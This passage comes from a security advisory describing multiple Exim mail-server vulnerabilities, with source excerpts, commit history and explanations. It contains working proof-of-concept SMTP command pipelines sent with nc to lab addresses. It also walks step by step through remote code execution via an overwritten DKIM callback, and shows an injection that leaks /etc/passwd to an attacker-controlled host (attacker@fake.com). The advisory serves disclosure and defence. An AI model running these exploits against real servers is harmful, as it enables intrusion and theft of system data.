+ 494 memcpy(recipients_list, oldlist, oldmax * sizeof(recipient_item));
+ 495 }
+------------------------------------------------------------------------
+
+- at line 492, store_get() back-jumps the current block of memory
+ (Digression 1b), by -96MB;
+
+- at line 494, memcpy() forward-overflows the current block of memory
+ (Digression 1a), by nearly 2GB (50M * 40B = 2000MB).
+
+Initially, we thought that CVE-2020-28017 would be the perfect
+vulnerability:
+
+- it affects all versions of Exim (since at least the beginning of its
+ Git history in 2004);
+
+- it is certainly exploitable (an unauthenticated RCE as the "exim"
+ user): the forward-overflow can be absorbed to avoid a crash, and the
+ back-jump can be directed onto Exim's configuration (Digression 2);
+
+- a back-of-the-envelope calculation suggested that an exploit would
+ require "only" 6GB of memory: 2*2GB for all the recipients_lists, and
+ 2GB of recipient addresses to absorb the forward-overflow.
+
+Eventually, however, we abandoned the exploitation of CVE-2020-28017:
+
+- On Exim 4.89 (Debian oldstable), the ACLs (Access Control Lists) for
+ the RCPT TO command consume approximately 512 bytes per recipient: an
+ exploit would require more than 50M * 512B = 25GB of memory. Instead,
+ we decided to exploit another vulnerability, CVE-2020-28020, which
+ requires only 3GB of memory.
+
+- On Exim 4.92 (Debian stable), the ACLs for RCPT TO consume at least
+ 4KB per recipient. Indeed, this version's string_sprintf() allocates a
+ whole new 32KB memory block, but uses only one page (4KB): an exploit
+ would require more than 50M * 4KB = 200GB of memory.
+
+- On Exim 4.94 (Debian testing), the problem with string_sprintf() was
+ solved, and an exploit would therefore require "only" 25GB of memory.
+ However, the "tainted" checks create another problem: each RCPT TO
+ allocates T blocks of tainted memory, and makes U is_tainted() checks
+ on untainted memory, but each check traverses the complete linked list
+ of tainted memory blocks. For n recipients, this has an O(n^2) time
+ complexity (roughly U*T*(n^2)/2): it would take months to reach 50M
+ recipients.
+
+CVE-2020-28017 is also exploitable locally (through -bS and
+smtp_setup_batch_msg(), which does not have ACLs), and would allow an
+unprivileged local attacker to obtain the privileges of the "exim" user.
+But better vulnerabilities exist: CVE-2020-28015 and CVE-2020-28012 are
+locally exploitable and yield full root privileges.
+
+------------------------------------------------------------------------
+Proof of concept
+------------------------------------------------------------------------
+
+id
+uid=1001(jane) gid=1001(jane) groups=1001(jane)
+
+(
+sleep 10;
+echo 'EHLO test';
+sleep 3;
+echo 'MAIL FROM:<>';
+sleep 3;
+for ((i=0; i<64000000; i++)); do
+[ "$((i%1000000))" -eq 0 ] && echo "`date` $i" >&2;
+echo 'RCPT TO:lp@localhost';
+done
+) | /usr/sbin/exim4 -bS | wc
+
+Program received signal SIGSEGV, Segmentation fault.
+
+
+
+========================================================================
+CVE-2020-28020: Integer overflow in receive_msg()
+========================================================================
+
+During our work on Exim, we stumbled across the following commit:
+
+------------------------------------------------------------------------
+commit 56ac062a3ff94fc4e1bbfc2293119c079a4e980b
+Date: Thu Jan 10 21:15:11 2019 +0000
+...
++JH/41 Fix the loop reading a message header line to check for integer overflow,
++ and more-often against header_maxsize. Previously a crafted message could
++ induce a crash of the recive process; now the message is cleanly rejected.
+...
++ if (header_size >= INT_MAX/2)
++ goto OVERSIZE;
+ header_size *= 2;
+------------------------------------------------------------------------
+
+This vulnerability is exploitable in all Exim versions before 4.92 and
+allows an unauthenticated remote attacker to execute arbitrary commands
+as the "exim" user. Because this commit was not identified as a security
+patch, it was not backported to LTS (Long Term Support) distributions.
+For example, Debian oldstable's package (exim4_4.89-2+deb9u7) contains
+all known security patches, but is vulnerable to CVE-2020-28020 and
+hence remotely exploitable.
+
+By default, Exim limits the size of a mail header to 1MB
+(header_maxsize). Unfortunately, an attacker can bypass this limit by
+sending only continuation lines (i.e., '\n' followed by ' ' or '\t'),
+thereby overflowing the integer header_size at line 1782:
+
+------------------------------------------------------------------------
+1778 if (ptr >= header_size - 4)
+1779 {
+1780 int oldsize = header_size;
+1781 /* header_size += 256; */
+1782 header_size *= 2;
+1783 if (!store_extend(next->text, oldsize, header_size))
+1784 {
+1785 BOOL release_ok = store_last_get[store_pool] == next->text;
+1786 uschar *newtext = store_get(header_size);
+1787 memcpy(newtext, next->text, ptr);
+1788 if (release_ok) store_release(next->text);
+1789 next->text = newtext;
+1790 }
+1791 }
+------------------------------------------------------------------------
+
+Ironically, this vulnerability was the most difficult to exploit:
+
+- when the integer header_size overflows, it becomes negative (INT_MIN),
+ but we cannot exploit the resulting back-jump at line 1786 (Digression
+ 1b), because the free size of the current memory block also becomes
+ negative (because 0 - INT_MIN = INT_MIN, the "Leblancian Paradox"),
+ which prevents us from writing to this back-jumped memory block;
+
+- to overflow the integer header_size, we must send 1GB to Exim:
+ consequently, our exploit must succeed after only a few tries (in
+ particular, we cannot brute-force ASLR).
+
+Note: we can actually overflow header_size with 1GB / 2 = 512MB; if we
+send a first line that ends with "\r\n", then Exim transforms every bare
+'\n' that we send into "\n " (a continuation line):
+
+------------------------------------------------------------------------
+1814 if (ch == '\n')
+1815 {
+1816 if (first_line_ended_crlf == TRUE_UNSET) first_line_ended_crlf = FALSE;
+1817 else if (first_line_ended_crlf) receive_ungetc(' ');
+------------------------------------------------------------------------
+
+------------------------------------------------------------------------
+Proof of concept
+------------------------------------------------------------------------
+
+(
+sleep 10;
+echo 'EHLO test';
+sleep 3;
+echo 'MAIL FROM:<>';
+sleep 3;
+echo 'RCPT TO:postmaster';
+sleep 3;
+echo 'DATA';
+sleep 3;
+printf 'first_line_ended_crlf:TRUE\r\n \n\n\r\nPDKIM_ERR_LONG_LINE:';
+perl -e 'print "a" x 16384';
+printf '\r\nvery_long_header:';
+for ((i=0; i<64; i++)); do
+echo "`date` $i" >&2;
+perl -e 'print "\n" x 16777216';
+done
+) | nc -n -v 192.168.56.103 25
+
+Program received signal SIGSEGV, Segmentation fault.
+
+------------------------------------------------------------------------
+Exploitation
+------------------------------------------------------------------------
+
+To exploit this vulnerability (on Debian oldstable, for example):
+
+1/ We send three separate mails (in the same SMTP session) to achieve
+the following memory layout:
+
+ mmap memory
+-----|-------------------|-------------------|-------------------|-----
+ ... |n|l| mblock3 |n|l| mblock2 |n|l| mblock1 | ...
+-----|-------------------|-------------------|+------------------|-----
+ |
+ heap memory |
+ -------------------------|v-------------|-----
+ ... |N|L|N|L|N|L|N|L|N|L|n|l| hblock | ...
+ -------------------------|--------------|-----
+ <- fake storeblock ->
+
+where n and l are the next and length members of a storeblock structure
+(a linked list of allocated memory blocks):
+
+------------------------------------------------------------------------
+ 71 typedef struct storeblock {
+ 72 struct storeblock *next;
+ 73 size_t length;
+ 74 } storeblock;
+------------------------------------------------------------------------
+
+- we first allocate a 1GB mmap block (mblock1) by sending a mail that
+ contains a 256MB header of bare '\n' characters; the next member of
+ mblock1's storeblock structure initially points to a heap block
+ (hblock, which immediately follows data that we control);
+
+- we allocate a second 1GB mmap block (mblock2) by sending a mail that
+ also contains a 256MB header of bare '\n' characters;
+
+- we allocate a third 1GB mmap block (mblock3) by sending a mail that
+ contains a 512MB header; this overflows the integer header_size, and
+ forward-overflows mblock3 (Digression 1a), into mblock2 and mblock1:
+ we overwrite mblock2's next pointer with NULL (to avoid a crash in
+ store_release() at line 1788) and we partially overwrite mblock1's
+ next pointer (with a single null byte).
+
+2/ After this overflow, store_reset() traverses the linked list of
+allocated memory blocks and follows mblock1's overwritten next pointer,
+to our own "fake storeblock" structure: a NULL next pointer N (to avoid
+a crash in store_reset()), and a large length L that covers the entire
+address space (for example, 0x7050505070505050). As a result, Exim's
+allocator believes that the entire heap is one large, free block of
+POOL_MAIN memory (Exim's main type of memory allocations).
+
+This powerful exploit primitive gives us write access to the entire
+heap, through POOL_MAIN allocations. But the heap also contains other
+types of allocations: we exploit this primitive to overwrite POOL_MAIN
+allocations with raw malloc()s (for information disclosure) and to
+overwrite POOL_PERM allocations with POOL_MAIN allocations (for
+arbitrary code execution).
+
+3/ Information disclosure:
+
+- First, we send an EHLO command that allocates a large string in raw
+ malloc() memory.
+
+- Second, we send an invalid RCPT TO command that allocates a small
+ string in POOL_MAIN memory (an error message); this small POOL_MAIN
+ string overwrites the beginning of the large malloc() string.
+
+- Next, we send an invalid EHLO command that free()s the large malloc()
+ string; this free() overwrites the beginning of the small POOL_MAIN
+ string with a pointer to the libc (a member of libc's malloc_chunk
+ structure).
+
+- Last, we send an invalid DATA command that responds with an error
+ message: the small, overwritten POOL_MAIN string, and hence the libc
+ pointer. This information leak is essentially the technique that we
+ used for CVE-2015-0235 (GHOST).
+
+4/ Arbitrary code execution:
+
+- First, we start a new mail (MAIL FROM, RCPT TO, and DATA commands);
+ this calls dkim_exim_verify_init() and allocates a pdkim_ctx structure
+ in POOL_PERM memory (DKIM is enabled by default since Exim 4.70):
+
+------------------------------------------------------------------------
+249 typedef struct pdkim_ctx {
+...
+263 int(*dns_txt_callback)(char *, char *);
+...
+274 } pdkim_ctx;
+------------------------------------------------------------------------
+
+- Second, we send a mail header that is allocated to POOL_MAIN memory,
+ and overwrite the pdkim_ctx structure: we overwrite dns_txt_callback
+ with a pointer to libc's system() function (we derive this pointer
+ from the information-leaked libc pointer).
+
+- Next, we send a "DKIM-Signature:" header (we particularly care about
+ its "selector" field).
+
+- Last, we end our mail; this calls dkim_exim_verify_finish(), which
+ calls the overwritten dns_txt_callback with a first argument that we
+ control (through the selector field of our "DKIM-Signature:" header):
+
+------------------------------------------------------------------------
+1328 dns_txt_name = string_sprintf("%s._domainkey.%s.", sig->selector, sig->domain);
+....
+1333 if ( ctx->dns_txt_callback(CS dns_txt_name, CS dns_txt_reply) != PDKIM_OK
+------------------------------------------------------------------------
+
+ In other words, we execute system() with an arbitrary command.
+
+
+
+========================================================================
+CVE-2020-28023: Out-of-bounds read in smtp_setup_msg()
+========================================================================
+
+In smtp_setup_msg(), which reads the SMTP commands sent by a client to
+the Exim server:
+
+------------------------------------------------------------------------
+1455 int smtp_ch_index = 0;
+....
+1459 uschar smtp_connection_had[SMTP_HBUFF_SIZE];
+------------------------------------------------------------------------
+ 126 #define HAD(n) \
+ 127 smtp_connection_had[smtp_ch_index++] = n; \
+ 128 if (smtp_ch_index >= SMTP_HBUFF_SIZE) smtp_ch_index = 0
+....
+5283 case DATA_CMD:
+5284 HAD(SCH_DATA);
+....
+5305 smtp_printf("503 Valid RCPT command must precede %s\r\n", FALSE,
+5306 smtp_names[smtp_connection_had[smtp_ch_index-1]]);
+------------------------------------------------------------------------
+
+- line 5284 (line 128 in HAD()) can reset smtp_ch_index to 0 (an index
+ into the circular buffer smtp_connection_had[]);
+
+- line 5306 therefore reads smtp_connection_had[-1] out-of-bounds (an
+ unsigned char index into the array smtp_names[]);
+
+- depending on the value of this unsigned char index, line 5306 may also
+ read smtp_names[smtp_connection_had[-1]] out-of-bounds (a pointer to a
+ string);
+
+- and line 5305 sends this string to the SMTP client and may therefore
+ disclose sensitive information to an unauthenticated remote attacker.
+
+On Debian, this out-of-bounds read is not exploitable, because
+smtp_connection_had[-1] is always 0 and line 5305 sends smtp_names[0]
+("NONE") to the client. However, the memory layout of the Exim binary
+may be more favorable to attackers on other operating systems.
+
+------------------------------------------------------------------------
+Proof of concept
+------------------------------------------------------------------------
+
+(
+sleep 10;
+echo 'EHLO test';
+sleep 3;
+echo 'MAIL FROM:<>';
+sleep 3;
+for ((i=0; i<20-3; i++)); do
+echo 'RCPT TO:nonexistent';
+done;
+sleep 3;
+echo 'DATA';
+sleep 3
+) | nc -n -v 192.168.56.101 25
+...
+503-All RCPT commands were rejected with this error:
+503-501 nonexistent: recipient address must contain a domain
+503 Valid RCPT command must precede NONE
+
+------------------------------------------------------------------------
+History
+------------------------------------------------------------------------
+
+This vulnerability was introduced in Exim 4.88:
+
+------------------------------------------------------------------------
+commit 18481de384caecff421f23f715be916403f5d0ee
+Date: Mon Jul 11 23:36:45 2016 +0100
+...
+- smtp_printf("503 Valid RCPT command must precede DATA\r\n");
++ smtp_printf("503 Valid RCPT command must precede %s\r\n",
++ smtp_names[smtp_connection_had[smtp_ch_index-1]]);
+------------------------------------------------------------------------
+
+and was independently discovered by Exim's developers in July 2020:
+
+------------------------------------------------------------------------
+commit afaf5a50b05810d75c1f7ae9d1cd83697815a997
+Date: Thu Jul 23 16:32:29 2020 +0100
+...
++#define SMTP_HBUFF_PREV(n) ((n) ? (n)-1 : SMTP_HBUFF_SIZE-1)
+...
+ smtp_printf("503 Valid RCPT command must precede %s\r\n", FALSE,
+- smtp_names[smtp_connection_had[smtp_ch_index-1]]);
++ smtp_names[smtp_connection_had[SMTP_HBUFF_PREV(smtp_ch_index)]]);
+------------------------------------------------------------------------
+
+
+
+========================================================================
+CVE-2020-28021: New-line injection into spool header file (remote)
+========================================================================
+
+An authenticated SMTP client can add an AUTH= parameter to its MAIL FROM
+command. This AUTH= parameter is decoded by auth_xtextdecode():
+
+------------------------------------------------------------------------
+4697 case ENV_MAIL_OPT_AUTH:
+....
+4703 if (auth_xtextdecode(value, &authenticated_sender) < 0)
+------------------------------------------------------------------------
+
+and the resulting authenticated_sender is written to the spool header
+file without encoding or escaping:
+
+------------------------------------------------------------------------
+212 if (authenticated_sender)
+213 fprintf(fp, "-auth_sender %s\n", authenticated_sender);
+------------------------------------------------------------------------
+
+Unfortunately, authenticated_sender can contain arbitrary characters,
+because auth_xtextdecode() translates hexadecimal +XY sequences into
+equivalent characters (for example, +0A into '\n'): an authenticated
+remote attacker can inject new lines into the spool header file and
+execute arbitrary commands, as root.
+
+This vulnerability is particularly problematic for Internet service
+providers and mail providers that deploy Exim and offer mail accounts
+but not shell accounts. It is also problematic when combined with an
+authentication bypass such as CVE-2020-12783, discovered by Orange Tsai
+in May 2020 (https://bugs.exim.org/show_bug.cgi?id=2571).
+
+------------------------------------------------------------------------
+Proof of concept
+------------------------------------------------------------------------
+
+nc -n -v 192.168.56.101 25
+...
+EHLO test
+...
+250-AUTH PLAIN
+...
+AUTH PLAIN AHVzZXJuYW1lAG15c2VjcmV0
+235 Authentication succeeded
+MAIL FROM:<> AUTH=Raven+0AReyes
+250 OK
+RCPT TO:postmaster
+250 Accepted
+DATA
+354 Enter message, ending with "." on a line by itself
+.
+250 OK id=1kb6VC-0003BW-Rg
+
+2020-11-06 13:30:42 1kb6VC-0003BW-Rg Format error in spool file 1kb6VC-0003BW-Rg-H: size=530
+
+------------------------------------------------------------------------
+Exploitation
+------------------------------------------------------------------------
+
+Our exploit for CVE-2020-28021 is essentially the same as our exploit
+for CVE-2020-28015. The main difference is that Exim's ACLs limit the
+length of our header lines to 998 characters. However, this limit can be
+easily bypassed, by splitting long header lines into 990-character lines
+separated by "\n " (i.e., continuation lines).
+
+We can also transform CVE-2020-28021 into an information disclosure:
+
+- First, we inject an arbitrary recipient line into the spool header
+ file: an arbitrary recipient address (for example, attacker@fake.com)
+ and an errors_to string that is read out-of-bounds (the same technique
+ as for CVE-2020-28015).
+
+- Next, we wait for Exim to connect to our own mail server, fake.com's
+ MX (we use https://github.com/iphelix/dnschef to set up a quick and
+ easy DNS server).
+
+- Last, we retrieve the out-of-bounds errors_to string from Exim's MAIL
+ FROM command (which, in this example, contains a fragment of
+ /etc/passwd):
+
+------------------------------------------------------------------------
+(
+sleep 10;
+echo 'EHLO test';
+sleep 3;
+echo 'AUTH PLAIN AHVzZXJuYW1lAG15c2VjcmV0';
+sleep 3;
+echo 'MAIL FROM:<> AUTH=x+0AXX+0A1+0Aattacker@fake.com+208192,-1#1+0A+0A990*';
+sleep 3;
+echo 'RCPT TO:postmaster';
+sleep 3;
+echo 'DATA';
+sleep 3;
+printf 'Message-Id: X\n';
+printf 'From: X@localhost\n';
+printf 'Date: X\n';
+printf 'X:%0990d2* X\n' 0;
+echo '.';
+sleep 10
+) | nc -n -v 192.168.56.101 25
+
+nc -n -v -l 25
+...
+Ncat: Connection from 192.168.56.101.
+...
+MAIL FROM:<s:x:3:
+adm:x:4:
+tty:x:5:
+...
+Debian-exim:x:114:
+jane:x:1001:
+...
+Debian-exim:x:107:114::/var/spool/exim4:/usr/sbin/nologin
+jane:x:1001:1001:,,,:/home/jane:/bin/bash
+>
+...
+RCPT TO:<attacker@fake.com>
+...
+------------------------------------------------------------------------
+
+
+
+========================================================================
+CVE-2020-28022: Heap out-of-bounds read and write in extract_option()
+========================================================================
+
+The name=value parameters such as AUTH= are extracted from MAIL FROM and
+RCPT TO commands by extract_option():
+
+------------------------------------------------------------------------
+1994 static BOOL
+1995 extract_option(uschar **name, uschar **value)
+1996 {
+1997 uschar *n;
+1998 uschar *v = smtp_cmd_data + Ustrlen(smtp_cmd_data) - 1;
+....
+2001 while (v > smtp_cmd_data && *v != '=' && !isspace(*v))
+2002 {
+....
+2005 if (*v == '"') do v--; while (*v != '"' && v > smtp_cmd_data+1);
+2006 v--;
+2007 }
+2008
+2009 n = v;
+------------------------------------------------------------------------
+
+Unfortunately, this function can decrease v (value) and hence n (name)
+out of smtp_cmd_data's bounds (into the preceding smtp_cmd_buffer):
+
+- at line 2001, v can point to smtp_cmd_data + 1;
+
+- at line 2005, v-- decrements v to smtp_cmd_data;
+
+- at line 2006, v-- decrements v to smtp_cmd_data - 1.
+
+Subsequently, the code in extract_option() and smtp_setup_msg() reads
+from and writes to v and n out of smtp_cmd_data's bounds.
+
+If exploitable, this vulnerability would allow an unauthenticated remote
+attacker to execute arbitrary commands as the "exim" user. So far we
+were unable to exploit this vulnerability: although we are able to
+decrease v and n out of smtp_cmd_data's bounds, we were unable to
+decrease v or n out of the preceding smtp_cmd_buffer's bounds.
+Surprisingly, however, we do use this vulnerability in our
+proof-of-concept for CVE-2020-28026.
+
+------------------------------------------------------------------------
+History
+------------------------------------------------------------------------
+
+This vulnerability was introduced in Exim 4.89:
+
+------------------------------------------------------------------------
+commit d7a2c8337f7b615763d4429ab27653862756b6fb
+Date: Tue Jan 24 18:17:10 2017 +0000
+...
+-while (v > smtp_cmd_data && *v != '=' && !isspace(*v)) v--;
++while (v > smtp_cmd_data && *v != '=' && !isspace(*v))
++ {
++ /* Take care to not stop at a space embedded in a quoted local-part */
++
++ if (*v == '"') do v--; while (*v != '"' && v > smtp_cmd_data+1);
++ v--;
++ }
+------------------------------------------------------------------------
+
+
+
+========================================================================
+CVE-2020-28026: Line truncation and injection in spool_read_header()
+========================================================================
+
+spool_read_header() calls fgets() to read the lines from a spool header
+file into the 16KB big_buffer. The first section of spool_read_header()
+enlarges big_buffer dynamically if fgets() truncates a line (if a line
+is longer than 16KB):
+
+------------------------------------------------------------------------
+ 460 if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;
+ ...
+ 462 while ( (len = Ustrlen(big_buffer)) == big_buffer_size-1
+ 463 && big_buffer[len-1] != '\n'
+ ...
+ 468 buf = store_get_perm(big_buffer_size *= 2, FALSE);
+------------------------------------------------------------------------
+
+Unfortunately, the second section of spool_read_header() does not
+enlarge big_buffer:
+
+------------------------------------------------------------------------
+ 756 for (recipients_count = 0; recipients_count < rcount; recipients_count++)
+ ...
+ 765 if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;
+------------------------------------------------------------------------
+
+If DSN (Delivery Status Notification) is enabled (it is disabled by
+default), an attacker can send a RCPT TO command with a long ORCPT=
+parameter that is written to the spool header file by
+spool_write_header():
+
+------------------------------------------------------------------------
+292 for (int i = 0; i < recipients_count; i++)
+293 {
+294 recipient_item *r = recipients_list + i;
+...
+302 uschar * errors_to = r->errors_to ? r->errors_to : US"";
+...
+305 uschar * orcpt = r->orcpt ? r->orcpt : US"";
+306
+307 fprintf(fp, "%s %s %d,%d %s %d,%d#3\n", r->address, orcpt, Ustrlen(orcpt),
+308 r->dsn_flags, errors_to, Ustrlen(errors_to), r->pno);
+------------------------------------------------------------------------
+
+This long ORCPT= parameter truncates the recipient line (when read by
+fgets() in spool_read_header()) and injects the remainder of the line as
+a separate line, thereby emulating the '\n' injection of CVE-2020-28015
+and CVE-2020-28021 (albeit in a weaker form).
+
+We have not tried to exploit this vulnerability; if exploitable, it
+would allow an unauthenticated remote attacker to execute arbitrary
+commands as root (if DSN is enabled).
+
+------------------------------------------------------------------------
+Proof of concept
+------------------------------------------------------------------------
+
+- Intuitively, it seems impossible to generate a recipient line longer
+ than 16KB (big_buffer_size), because the Exim server reads our RCPT TO
+ command into a 16KB buffer (smtp_cmd_buffer) that must also contain
+ (besides our long ORCPT= parameter) "RCPT TO:", "NOTIFY=DELAY", and
+ the recipient address.
+
+- We can, however, use the special recipient "postmaster", which is
+ automatically qualified (by appending Exim's primary hostname) before
+ it is written to the spool header file. This allows us to enlarge the
+ recipient line, but is not sufficient to control the end of the
+ truncated line (unless Exim's primary hostname is longer than 24
+ bytes, which is very unlikely).
+
+- But we can do better: we can use CVE-2020-28022 to read our ORCPT=
+ parameter out of smtp_cmd_data's bounds (from the end of the preceding
+ smtp_cmd_buffer). This allows us to further enlarge the recipient line
+ (by 10 bytes, because "postmaster" is now included in our ORCPT=), but
+ is not sufficient to reliably control the end of the truncated line
+ (unless Exim's primary hostname is longer than 14 bytes, which is
+ still very unlikely).
+
+- But we can do much better: we do not need postmaster's automatic
+ qualification anymore, because the recipient is now included in our
+ ORCPT= parameter -- the longer the recipient, the better. On Debian,
+ the user "systemd-timesync" exists by default, and "localhost" is one
+ of Exim's local_domains: the recipient "systemd-timesync@localhost" is
+ long enough to reliably control the end of the truncated recipient
+ line, and allows us to read and write out of big_buffer's bounds
+ (lines 859 and 863, and beyond):
+
+------------------------------------------------------------------------
+ 840 else if (*p == '#')
+ ...
+ 848 (void)sscanf(CS p+1, "%d", &flags);
+ 849
+ 850 if ((flags & 0x01) != 0) /* one_time data exists */
+ 851 {
+ 852 int len;
+ 853 while (isdigit(*(--p)) || *p == ',' || *p == '-');
+ 854 (void)sscanf(CS p+1, "%d,%d", &len, &pno);
+ 855 *p = 0;
+ 856 if (len > 0)
+ 857 {
+ 858 p -= len;
+ 859 errors_to = string_copy_taint(p, TRUE);
+ 860 }
+ 861 }
+ 862
+ 863 *(--p) = 0; /* Terminate address */
+------------------------------------------------------------------------
+
+For example, the following proof-of-concept accesses memory at 1MB below
+big_buffer:
+
+------------------------------------------------------------------------
+(
+sleep 10;
+echo 'EHLO test';
+sleep 3;
+echo 'MAIL FROM:<>';
+sleep 3;
+perl -e 'print "NOOP"; print " " x (16384-9); print "ORCPT\n"';
+sleep 3;
+echo 'RCPT TO:x"';
+sleep 3;
+perl -e 'print "RCPT TO:(\")systemd-timesync\@localhost("; print "A" x (16384-74); print "xxx1048576,-1#1x NOTIFY=DELAY\n"';
+sleep 3;
+echo 'DATA';
+sleep 3;
+echo '.';
+sleep 10
+) | nc -n -v 192.168.56.101 25
+
+Program received signal SIGSEGV, Segmentation fault.
+------------------------------------------------------------------------
+
+
+
+========================================================================
+CVE-2020-28019: Failure to reset function pointer after BDAT error
+========================================================================
+
+To read SMTP commands and data from a client, Exim calls the function
+pointer receive_getc, which points to either smtp_getc() (a cleartext
+connection) or tls_getc() (an encrypted connection). If the client uses
+the BDAT command (instead of DATA) to send a mail, then Exim saves the
+current value of receive_getc to the function pointer lwr_receive_getc
+and sets receive_getc to the wrapper function bdat_getc():
+
+------------------------------------------------------------------------
+5242 case BDAT_CMD:
+....
+5271 lwr_receive_getc = receive_getc;
+....
+5275 receive_getc = bdat_getc;
+------------------------------------------------------------------------
+
+Exim normally resets receive_getc to its original value
+(lwr_receive_getc) when the client ends its mail. Unfortunately, Exim
+fails to reset receive_getc in some cases; for example, if the mail is
+larger than message_size_limit (50MB by default). Consequently, Exim
+re-enters smtp_setup_msg() while receive_getc still points to
+bdat_getc(), and:
+
+- smtp_read_command() calls receive_getc and hence bdat_getc(), which
+ also calls smtp_read_command(), which is not a re-entrant function and
+ may have unintended consequences;
+
+- if the client issues another BDAT command, then receive_getc and
+ lwr_receive_getc both point to bdat_getc(), which calls itself
+ recursively and leads to stack exhaustion; for example:
+
+------------------------------------------------------------------------
+(
+sleep 10;
+echo 'EHLO test';
+sleep 3;
+echo 'MAIL FROM:<>';
+sleep 3;
+echo 'RCPT TO:postmaster';
+sleep 3;
+echo "BDAT $((52428800+100))";
+perl -e 'print "A" x (52428800+1)';
+sleep 3;
+echo 'MAIL FROM:<>';
+sleep 3;
+echo 'RCPT TO:postmaster';
+sleep 3;
+echo 'BDAT 8388608'
+) | nc -n -v 192.168.56.101 25
+
+Program received signal SIGSEGV, Segmentation fault.
+------------------------------------------------------------------------
+
+This vulnerability is very similar to CVE-2017-16944, discovered by Meh
+Chang in November 2017 (https://bugs.exim.org/show_bug.cgi?id=2201).
+
+------------------------------------------------------------------------
+History
+------------------------------------------------------------------------
+
+This vulnerability was introduced in Exim 4.88:
+
+------------------------------------------------------------------------
+commit 7e3ce68e68ab9b8906a637d352993abf361554e2
+Date: Wed Jul 13 21:28:18 2016 +0100
+...
++ lwr_receive_getc = receive_getc;
++ lwr_receive_ungetc = receive_ungetc;
++ receive_getc = bdat_getc;
++ receive_ungetc = bdat_ungetc;
+------------------------------------------------------------------------
+
+
+
+========================================================================
+CVE-2020-28024: Heap buffer underflow in smtp_ungetc()
+========================================================================
+
+Exim calls smtp_refill() to read input characters from an SMTP client
+into the 8KB smtp_inbuffer, and calls smtp_getc() to read individual
+characters from smtp_inbuffer:
+
+------------------------------------------------------------------------
+ 501 static BOOL
+ 502 smtp_refill(unsigned lim)
+ 503 {
+ ...
+ 512 rc = read(fileno(smtp_in), smtp_inbuffer, MIN(IN_BUFFER_SIZE-1, lim));
+ ...
+ 515 if (rc <= 0)
+ 516 {
+ ...
+ 536 return FALSE;
+ 537 }
+ ...
+ 541 smtp_inend = smtp_inbuffer + rc;
+ 542 smtp_inptr = smtp_inbuffer;
+ 543 return TRUE;
+ 544 }
+------------------------------------------------------------------------
+ 559 int
+ 560 smtp_getc(unsigned lim)
+ 561 {
+ 562 if (smtp_inptr >= smtp_inend)
+ 563 if (!smtp_refill(lim))
+ 564 return EOF;
+ 565 return *smtp_inptr++;
+ 566 }
+------------------------------------------------------------------------
+
+Exim implements an smtp_ungetc() function to push characters back into
+smtp_inbuffer (characters that were read from smtp_inbuffer by
+smtp_getc()):
+
+------------------------------------------------------------------------
+ 795 int
+ 796 smtp_ungetc(int ch)
+ 797 {
+ 798 *--smtp_inptr = ch;
+ 799 return ch;
+ 800 }
+------------------------------------------------------------------------
+
+Unfortunately, Exim also calls smtp_ungetc() to push back "characters"
+that were not actually read from smtp_inbuffer: EOF (-1), and if BDAT is
+used, EOD and ERR (-2 and -3). For example, in receive_msg():
+
+------------------------------------------------------------------------
+1945 if (ch == '\r')
+1946 {
+1947 ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
+1948 if (ch == '\n')
+1949 {
+....
+1952 }
+....
+1957 ch = (receive_ungetc)(ch);
+------------------------------------------------------------------------
+
+- at line 1947, receive_getc (smtp_getc()) can return EOF;
+
+- at line 1957, this EOF is passed to receive_ungetc (smtp_ungetc());
+
+- at line 798 (in smtp_ungetc()), if smtp_inptr is exactly equal to
+ smtp_inbuffer, then it is decremented to smtp_inbuffer - 1, and EOF is
+ written out of smtp_inbuffer's bounds.
+
+To return EOF in receive_msg() while smtp_inptr is equal to
+smtp_inbuffer, we must initiate a TLS-encrypted connection:
+
+- either through TLS-on-connect (usually on port 465), which does not
+ use smtp_inptr nor smtp_inbuffer;
+
+- or through STARTTLS, which resets smtp_inptr to smtp_inbuffer in the
+ following code (if X_PIPE_CONNECT is enabled, the default since Exim
+ 4.94):
+
+------------------------------------------------------------------------
+5484 if (receive_smtp_buffered())
+5485 {
+5486 DEBUG(D_any)
+5487 debug_printf("Non-empty input buffer after STARTTLS; naive attack?\n");
+5488 if (tls_in.active.sock < 0)
+5489 smtp_inend = smtp_inptr = smtp_inbuffer;
+------------------------------------------------------------------------
+
+In both cases:
+
+- first, we initiate a TLS-encrypted connection, which sets receive_getc
+ and receive_ungetc to tls_getc() and tls_ungetc() (while smtp_inptr is
+ equal to smtp_inbuffer);
+
+- second, we start a mail (MAIL FROM, RCPT TO, and DATA commands) and
+ enter receive_msg();
+
+- third, we send a bare '\r' character and reach line 1945;
+
+- next, we terminate the TLS connection, which resets receive_getc and
+ receive_ungetc to smtp_getc() and smtp_ungetc() (while smtp_inptr is
+ still equal to smtp_inbuffer);
+
+- last, we close the underlying TCP connection, which returns EOF at
+ line 1947 and writes EOF out of smtp_inbuffer's bounds at line 1957
+ (line 798 in smtp_ungetc()).
+
+We have not tried to exploit this vulnerability; if exploitable, it
+would allow an unauthenticated remote attacker to execute arbitrary
+commands as the "exim" user (if TLS and either TLS-on-connect or
+X_PIPE_CONNECT are enabled).
+
+
+
+========================================================================
+CVE-2020-28018: Use-after-free in tls-openssl.c
+========================================================================
+
+If Exim is built with OpenSSL, and if STARTTLS is enabled, and if
+PIPELINING is enabled (the default), and if X_PIPE_CONNECT is disabled
+(the default before Exim 4.94), then tls_write() in tls-openssl.c is
+vulnerable to a use-after-free.
+
+If PIPELINING is used, Exim buffers the SMTP responses to MAIL FROM and
+RCPT TO commands (in tls-openssl.c):
+
+------------------------------------------------------------------------
+2909 int
+2910 tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
+2911 {
+....
+2915 static gstring * server_corked = NULL;
+2916 gstring ** corkedp = ct_ctx
+2917 ? &((exim_openssl_client_tls_ctx *)ct_ctx)->corked : &server_corked;
+2918 gstring * corked = *corkedp;
+....
+2933 if (!ct_ctx && (more || corked))
+2934 {
+....
+2940 corked = string_catn(corked, buff, len);
+....
+2946 if (more)
+2947 {
+2948 *corkedp = corked;
+2949 return len;
+2950 }
+------------------------------------------------------------------------
+
+- at line 2910, ct_ctx is NULL, buff contains the SMTP response, and
+ more is true;
+
+- at line 2940, a struct gstring (a "growable string", mentioned in
+ CVE-2020-28009) and its string buffer are allocated in POOL_MAIN
+ memory:
+
